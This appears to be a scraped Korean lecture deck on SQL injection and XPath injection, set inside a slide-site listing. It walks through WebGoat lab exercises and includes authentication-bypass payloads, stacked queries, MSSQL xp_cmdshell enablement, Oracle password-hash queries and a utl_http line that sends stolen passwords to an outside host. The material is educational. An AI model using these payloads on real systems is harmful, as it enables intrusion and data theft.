Chapter 05 SQL 인젝션 공격.

Slides:



Advertisements
Similar presentations
CUBRID 소개 (Object 개념) 서비스 사업부 / 기술지원팀. 목차 구조 일반적 특징 객체지향 특징 ORDB 개념을 이용한 스키마 ORDB 개념을 이용한 질의.
Advertisements

1 SQL 정보보호학과 양 계 탁. 2 SQL 개요 SQL 개요 3 Database u 연관된 데이터들의 집합 u 데이터를 쉽게 관리하는 프로그램 종 류종 류 관계형 데이터베이스 객체지향형 데이터베이스 계층형 데이터베이스 네트워크 데이터베이스 데이터를 2 차원적인 테.
SQLite 소개 및 안드로이드에서의 사용법
다양한 예제로 쉽게 배우는 오라클 SQL 과 PL/SQL
SQL 언어 SQL.
DB Injection과 대응방안 nwkim.
PARK SUNGJIN Oracle 설치 PARK SUNGJIN
소리가 작으면 이어폰 사용 권장!.
김 상 국, 김 기 훈 한남대학교 컴퓨터공학과 데이터베이스 실험실
데이터베이스 시스템.
소프트웨어시스템설계(6주) 데이터베이스 연동
질의어와 SQL 기본 SQL 고급 SQL 데이타의 수정 데이타 정의 언어 내장 SQL
관계 대수와 SQL.
C#에서 데이터베이스 연동 방법.
Section II. 웹 취약점의 공격과 방어 3. 웹 취약점 분류 4. SQL Injection 5. XSS
SELECT 문 사원 테이블의 모든 정보를 출력하는 예제 1. 비교 연산자 SELECT 문의 형태
4장. 관계 대수와 SQL SQL 관계 데이터 모델에서 지원되는 두 가지 정형적인 언어
APM 실습 (MySQL).
SQL-99: 스키마 정의, 기본제약조건, 질의어 충북대학교 구조시스템공학과 시스템공학연구실
JDBC 프로그래밍 이수지 이동주 1.
SQL 개요 SQL 개요 - SQL은 현재 DBMS 시장에서 관계 DBMS가 압도적인 우위를 차지하는 데 중요한 요인의 하나
10장. 데이터베이스 보안과 권한 관리 데이터베이스 보안과 권한 관리
MySQL performance Xhark 김재홍.
데이터베이스 담당교수 신정식 Chapter 4 SQL(1).
Chapter 04. 웹 보안 : 웹, 그 무한한 가능성과 함께 성장한 해킹
데이터베이스 와 JDBC 1.데이터베이스와 데이터베이스 관리 시스템은? 2.데이터베이스 장점?
Chapter 01 데이터베이스 시스템.
11장. 데이터베이스 서버 구축과 운영.
오라클 데이터베이스 성능 튜닝.
2007. Database Term Project Team 2 윤형석, 김희용, 최현대 우경남, 이상제
기초 T-SQL.
MySQL 기본 사용법.
트랜잭션과 잠금 트랜잭션 처리 메커니즘을 자세히 이해한다. 트랜잭션의 종류를 파악한다.
ㅎㅎ MS-SQL서버 2000과 XML MS-SQL 서버 2000과 XML 활용 HTTP를 이용한 XML 데이터 접근
Chapter 05 데이터베이스 프로그래밍.
4.2 SQL 개요 SQL 개요 SQL은 IBM 연구소에서 1974년에 System R이라는 관계 DBMS 시제품을 연구할 때 관계 대수와 관계 해석을 기반으로, 집단 함수, 그룹화, 갱신 연산 등을 추가하여 개발된 언어 1986년에 ANSI(미국 표준 기구)에서 SQL.
SQL Server 2000 세미나 Profiler를 이용한 문제해결
차례 튜닝 - 프로필러를 이용한 튜닝 프로필러 친해지기 프로필러 결과 테이블로 만들기 프로필러 결과 분석하기
2장. 관계 데이터 모델과 제약조건 관계 데이터 모델은 지금까지 제안된 데이터 모델들 중에서 가장 개념이 단순한 데이터 모델의 하나 IBM 연구소에 근무하던 E.F. Codd가 1970년에 관계 데이터 모델을 제안함 관계 데이터 모델을 최초로 구현한 가장 중요한 관계 DBMS.
1장. 데이터베이스 시스템 컴퓨터를 사용하여 정보를 수집하고 분석하는데 데이터베이스 기술이 활용되고 있음
16장. 테이블의 변경 새로운 행 삽입 테이블에서 테이블로 행을 복사 행 값의 변경 테이블에서 행 삭제
9장 테이블 생성 및 변경, 삭제하기(DDL).
SQL.
YOU Youngseok 트랜잭션(Transaction) YOU Youngseok
01 데이터베이스 개론 데이터베이스의 등장 배경 데이터베이스의 발전 과정 데이터베이스의 정의 데이터베이스의 특징
You YoungSEok Oracle 설치 You YoungSEok
SQL Server 7.0 세미나 (Performance Tuning)
ㅇ 스프링 설정파일 (dispatcher-servlet.xml)
문양세 (1st version: 문성우) (revised by 손시운)
SQL (structured query language)
다양한 예제로 쉽게 배우는 오라클 SQL 과 PL/SQL
Chapter 3: Introduction to SQL
고급 T-SQL.
CHAPTER 06. 데이터베이스 자료의 조직적 집합체_데이터베이스 시스템의 이해
SQL Query in the SSMS : DB, Table
JSP 게시판 구현.
II. XML과 Database 연동 [Beginning XML, 제13장]
데이터베이스 (Database) SQL 추가 기능: 주장, 뷰, 프로그래밍 기법 문양세 강원대학교 IT대학 컴퓨터과학전공.
제11회 SQL 고급과정 세미나 SQL Server 보안 핵심만 알면 확 달라진다
3장. SQL Server 2008전체 운영 실습 및 DB와 프로그램의 연동
8장 테이블의 생성 및 변경 정인기.
SQL INJECTION MADE BY 김 현중.
06. SQL 명지대학교 ICT 융합대학 김정호.
제 8장 데이터베이스.
테이블 관리 테이블 생성,수정,삭제 데이터 입력 수정, 삭제 2010학년도 2학기.
뇌를 자극하는 Windows Server 장. 데이터베이스 서버.
Stored program 장종원
Data Base Mysql.
제 5 장 MariaDB인덱스 생성 및 관리.
Presentation transcript:

Chapter 05 SQL 인젝션 공격

01 SQL 인젝션 공격의 개요 02 기본적인 SQL 인젝션 공격 03 Xpath 삽입 공격

SQL 인젝션 공격의 역사를 학습한다. SQL의 개념과 문법을 이해한다. 기본적인 SQL 인젝션 공격을 학습한다. Xpath 삽입 공격을 학습한다.

1.1 SQL 인젝션 공격의 역사 SQL 인젝션 공격의 역사 1998년 12월 온라인 잡지 <Phrack> 54호에서 Rain Forest Puppy(rfp) 라는 팀 이 웹 애플리케이션과 데이터베이스 간의 취약점을 언급하면서 SQL문을 변조 할 수 있다는 가능성을 언급

1.1 SQL 인젝션 공격의 역사 SQL 인젝션 공격의 역사 2001년 2월 Rain Forest Puppy가 ‘SQL Injection’이라는 문서를 공개 2002년 3월 SQL 인젝션 공격으로 약 20만 명의 신용카드 사용자 정보 유출 2005년 6월 서던캘리포니아 대학교의 온라인 시스템이 SQL 인젝션 취약점에 노출 2006년 12월 악의적인 해커가 UCLA의 학생 기록 80만 건 열람 2007년 마이크로소프트 UK의 홈페이지가 SQL 인젝션 공격에 노출 2008년 4월 약 50만 개의 웹 사이트가 SQL 인젝션 공격을 당하며 이후로도 지 속적인 피해를 입고 있음.

1.2 SQL SQL의 개념 관계형 데이터베이스 관리 시스템 (RDBMS)의 데이터를 관리하기 위해 설계된 특수 목적의 프로그래밍 언어 대다수 상용 또는 공개 데이터베이스 관련 프로그램은 SQL을 표준으로 함. 1974년에 IBM의 도널드 챔벌린과 레 이먼드 보이스가 개발 초기의 명칭은 SEQUEL(구조화 영어 질의어)이었는데, SEQUEL이 영국 호 커시들리 항공사의 상표라 SQL로 이 름을 바꿈. SQL:2011에 대한 SQL Framework 표준 문서 확인 http://www.jtc1sc32.org/doc/N2151-2200/32N2153T-text_for_ballot-FDIS_9075-1.pdf

1.1 SQL 인젝션 공격의 역사 SQL의 구분 데이터 조작 언어(data manipulation language, DML)

1.1 SQL 인젝션 공격의 역사 SQL의 구분 데이터 정의 언어(data definition language, DDL)

1.1 SQL 인젝션 공격의 역사 SQLite 사이트 접속 http://www.sqlite.org에 접속 후 [Download] 메뉴 선택

1.1 SQL 인젝션 공격의 역사 SQLite 파일 다운로드 ‘ Precompiled Binaries for Windows’에 해당하는 파일을 모두 내려받음.

1.1 SQL 인젝션 공격의 역사 SQLite 파일 압축 풀기 SQLite 실행 편의상 ‘sqlite-tools-win32-x86-3180000’ 폴더명을 ‘sqlite-shell’로 변경 SQLite 실행 파일인 sqlite3.exe 확인

1.1 SQL 인젝션 공격의 역사 SQLite 실행 [시작]-[실행]에서 ‘cmd.exe’를 입력하여 도스창을 띄운 후 sqlite3.exe를 실행

1.1 SQL 인젝션 공격의 역사 SQLite 실행 후 테스트 데이터베이스 생성 [시작]-[실행]에서 ‘cmd.exe’를 입력 후 ‘sqlite3.exe test.db’ 명령어를 실행 ‘.database’ 명령어를 실행하여 생성된 데이터베이스 확인

1.1 SQL 인젝션 공격의 역사 Create 명령어로 테이블 생성 Create table 명령어로 member 테이블 생성 sqlite> CREATE TABLE member ( no INTEGER PRIMARY KEY, user_id VARCHAR(20), name VARCHAR(20), user_pw VARCHAR(20), email VARCHAR(40), date DATE );

1.1 SQL 인젝션 공격의 역사 Insert 명령어로 데이터 입력 sqlite> INSERT INTO member (user_id, name, user_pw, email, date) VALUES ('anesra', 'KG Kim', 'anesra!@#$', 'anesra@gmail.com', DATETIME('NOW’, 'LOCALTIME’) ); sqlite> INSERT INTO member (user_id, name, user_pw, email, date) VALUES ('wasabimilk', 'Rosa', 'rosa!@#$', 'test@test.com', DATETIME('NOW’, 'LOCALTIME’) );

1.1 SQL 인젝션 공격의 역사 Select 명령어로 데이터 조회 member 테이블의 모든 데이터 조회 member 테이블에서 user_id가 ‘anesra’인 데이터 조회 sqlite> SELECT * FROM member; sqlite> SELECT * FROM member WHERE user_id = 'anesra';

1.1 SQL 인젝션 공격의 역사 Select 명령어로 데이터 조회 칼럼 데이터가 |(파이프)로 구분되어 있어 보기가 쉽지 않은 부분 수정 sqlite> .head on sqlite> .mode column

1.1 SQL 인젝션 공격의 역사 Update 명령어로 데이터 수정 Update : 데이터 내용을 수정할 때 사용 sqlite> UPDATE member SET user_pw = "!@#$anesra" WHERE user_id = 'anesra';

1.1 SQL 인젝션 공격의 역사 Delete 명령어로 데이터 삭제 sqlite> DELETE FROM member WHERE user_id = 'wasabimilk';

1.1 SQL 인젝션 공격의 역사 Union 명령어로 여러 테이블의 내용 조회 관리자 아이디와 패스워드 정보를 포함하고 있는 admin 테이블 생성 sqlite> CREATE TABLE admin ( no INTEGER PRIMARY KEY, id VARCHAR(20), pw VARCHAR(20) ); sqlite> INSERT INTO admin (id, pw) VALUES ('superadmin', 'admin!@#$%');

1.1 SQL 인젝션 공격의 역사 Union 명령어로 여러 테이블의 내용 조회 ‘.table’ 명령어로 admin과 member 두 개의 테이블이 있는 것을 확인 후 실행 Union 명령어를 이용하여 member와 admin의 동일한 칼럼 수를 조회 sqlite> SELECT * FROM member UNION SELECT * FROM admin; (Error!) sqlite> SELECT user_id, user_pw FROM member UNION SELECT id, pw FROM admin;

2.1 SQL 인젝션 공격의 원리 SQL 인젝션 공격의 원리 보통 사용자 로그인 부분, 게시물 검색 부분, 우편번호 검색 부분, 자료실 등이 대표적

2.1 SQL 인젝션 공격의 원리 WebGoat 실행 WebGoat를 실행한 뒤 WebGoat 사이트에 접속하여 로그인 화면 왼쪽의 [Injection Flaws] 메뉴 선택

2.1 SQL 인젝션 공격의 원리 [LAB: SQL Injection] - [Stage 1: String SQL Injection] 클릭 1단계: 인증을 우회하기 위해 SQL 문자열 삽입을 이용하시오. SQL 인젝션 공 격을 통해 정확한 패스워드 없이 관리자(‘Neville’)로 로그인하시오. Neville의 프로파일이 보이고 검색, 생성, 삭제 등의 모든 기능을 실행할 수 있는지 확인 하시오.

2.1 SQL 인젝션 공격의 원리 간단한 인증 우회 SQL 문자열 삽입 ‘ Larry Stooge(employee)’를 ‘Neville Bartholomew(admin)’을 선택하고 Password에 아무 값이나 입력

2.1 SQL 인젝션 공격의 원리 간단한 인증 우회 SQL 문자열 삽입 사용자로 다시 ‘Neville Bartholomew(admin)’을 선택하고, 패스워드 부분에 ‘or’‘=’을 입력한 후 <Login>을 클릭

2.1 SQL 인젝션 공격의 원리 간단한 인증 우회 SQL 문자열 삽입 C:\WebGoat7.1\extract\webapps\WebGoat\plugin_extracted\org\ owasp\webgoat\plugin\sqlinjection\LoginSqlInjection.java 열기

2.1 SQL 인젝션 공격의 원리 간단한 인증 우회 SQL 문자열 삽입 패스워드 입력값을 처리하는 소스코드 아이디와 패스워드에 각각 Neville Bartholomew(admin), ‘or’‘=’ 입력 → 앞의 패스워드가 비어 있는 것은 틀린 값이지만, or 뒤에 나오는 문장이 참이 되기 때문에 해당 쿼리문의 전체 결과값은 참 SELECT * FROM employee WHERE userid = " + userid + " and password = '" + password+ "' SELECT * FROM employee WHERE userid = 'Neville Bartholomew(admin)' and password =''or''=''

2.1 SQL 인젝션 공격의 원리 [String SQL Injection]클릭 WebGoat를 실행하고 [Injection Flaws]-[String SQL Injection] 클릭

2.1 SQL 인젝션 공격의 원리 Enter your last name에 Smith 입력 SELECT * FROM user_data WHERE last_name = 'Smith'

2.1 SQL 인젝션 공격의 원리 Enter your last name에 ‘or’‘=’ 입력 SELECT * FROM user_data WHERE last_name = ''or''=''

2.1 SQL 인젝션 공격의 원리 [Database Backdoor]클릭 WebGoat의 [Injection Flaws]에서 [Database Backdoor]클릭 후 User ID에 ‘101’ 입력

2.1 SQL 인젝션 공격의 원리 두 개의 SQL 구문 삽입 SELECT userid, password, ssn, salary, email FROM employee WHERE userid=101; UPDATE employee SET Salary=100000 WHERE userid=101;

2.2 DBMS의 종류에 따른 SQL 인젝션 공격 Microsoft SQL Server

2.2 DBMS의 종류에 따른 SQL 인젝션 공격 Microsoft SQL Server에서 데이터베이스 구조를 발견할 수 있는 쿼리문 사용자 정의 테이블 가져오기 칼럼 이름 가져오기 SELECT name FROM sysobjects WHERE xtype = 'U' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name ='칼럼 이름을 얻으려는 테이블의 이름')

2.2 DBMS의 종류에 따른 SQL 인젝션 공격 Microsoft SQL Server에서 제공하는 확장 저장 프로시저

2.2 DBMS의 종류에 따른 SQL 인젝션 공격 윈도우 명령어 실행하기 비활성화로 설정된 xp_cmdshell을 활성화하는 명령어 레지스트리 키 열람하기 레지스트리 키에 있는 내용 열람하기 EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:\' EXEC sp_configure 'show advanced options', 1 RECONFIGURE EXEC sp_configure 'xp_cmdshell', 1 RECONFIGURE Exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\ lanmanserver\parameters', 'nullsessionshares' Exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet \Services\snmp\parameters\validcommunities'

2.2 DBMS의 종류에 따른 SQL 인젝션 공격 오라클 사용자 정의 테이블 가져오기 칼럼 이름 가져오기 현재 데이터베이스 이름 가져오기 SELECT tname FROM sys.tab SELECT table_name FROM all_tables WHERE TABLESPACE_NAME='USERS' SELECT column_name FROM cols WHERE table_name='칼럼 이름을 얻으려는 테이블 이름' SELECT column_name FROM all_tab_columns WHERE table_name='테이블 이름' SELECT global_name FROM global_name

2.2 DBMS의 종류에 따른 SQL 인젝션 공격 오라클 사용자와 패스워크 정보 가져오기 버전 정보 가져오기 화면에 보이지 않더라도 공격이 성공했는지 알아볼 수 있는 함수(Blind SQL) SELECT name, password FROM sys.user$ WHERE type#=1 SELECT banner || '-' || (select banner FROM v$version WHERE banner LIKE 'Oracle%’) FROM v$version WHERE banner LIKE 'TNS%'

2.2 DBMS의 종류에 따른 SQL 인젝션 공격 오라클 외부 아웃바운드로 데이터 전송하기 SELECT utl_http.request('http://www.example.com') FROM DUAL SELECT utl_http.request('http://www.example.com/?' || (SELECT pass FROM members)) FROM DUAL SELECT HTTPURITYPE('http://www.example.com').getXML() FROM DUAL

3. XPath 삽입 공격 XPath XML 문서로부터 선택한 노드를 사용하기 위한 프로그래밍 언어 XPath 1.0 명세서는 1999년 W3C 표준으로 나왔으며, 2010년 XPath 2.0 명세 서가 W3C에서 권고됨. 자바, 자바스크립트, .NETFramework, PHP, 파이썬, 펄, 루비 등 수많은 언어가 XPath를 지원 XML문서 안의 특정 요소를 가리키는 기술 방법을 정한 규격임. W3C가 권하는 표준사양 으로, XSLT나 XPointer에 사용되는 위치 지정 기술방식을 독립 시킨 것. 하이퍼링크 등에 쓰여지는 인위적으로 부가 된 앵커에 의한 지정과는 달리, XML 데이터 를 표시하는 트리 구조를 따라가서 문서내의 모든 요소나 속성에 접근하는 수단을 제공 기본적인 기술 방법은 UNIX의 파일시스템과 비슷하며, 문서 트리 구조의 정점이 되는 루트 노드를 [/]로 표시하고, 그 이하 [/]로 나누어서 요소를 따라간다. a요소 중의 b라는 값을 참조 하는 데는 [/a/b]로 기술 노드의 데이터형 이나 노드의 종류, 명칭공간(XML namespace)의 취급에 대해서는 규정 이 있으며, 이것들을 사용해서 조건식이나 연산 등을 포함한 복잡한 위치 지정을 할 수 가 있음.

3. XPath 삽입 공격 Xpath 노드 Xpath의 쿼리문 users: 문서 노드 username, password, account: 요소 노드 id=“1”: 속성 노드 anesra, anesra_manse, root: 인자값 Xpath의 쿼리문 <?xml version="1.0" encoding="ISO-8859-1"?> <users> <user> <username id="1">anesra</username> <password>anesra_manse</password> <account>root</account> </user> </users> XPath Query: /users/user/username

3. XPath 삽입 공격 Visual Basic과 C#에서 XPath를 처리하는 예시 Visual Basic: Dim FindUserXPath as String FindUserXPath = "//Users/user[username/text() = ' "&Request("Username") & "' and password/text() = '"&Request("Password") & "']" C#: String FindUserXPath; FindUserXPath = "//Users/user[username/text() = ' "+Request("Username")+"' and password/text() = ' "+Request("Password") + "'];

3. XPath 삽입 공격 사용자가 Username과 Password 부분에 각각 ‘anesra’,‘anesra_passwo 공격자가 SQL 인젝션 공격과 마찬가지로 입력 시 쿼리문 결과 XPath query: //Users/user[username/text() = 'anesra' and password/text() = 'anesra_password'] Username = anesra' or '1'='1 Password = 1234' or '1'='1 XPath query: //Users/user[username/text() = 'anesra' or '1'='1' and password/ text() = '1234' or '1'='1']

3. XPath 삽입 공격 [XPath Injection]클릭 WegGoat를 실행 후 [Injection Flaws]-[XPATH Injection] 클릭

3. XPath 삽입 공격 User Name과 Password 입력 User Name: Mike Password: test123

3. XPath 삽입 공격 XPath 삽입 공격 User Name: Mike ‘ or ’‘=’ Password: ‘ or ’‘=’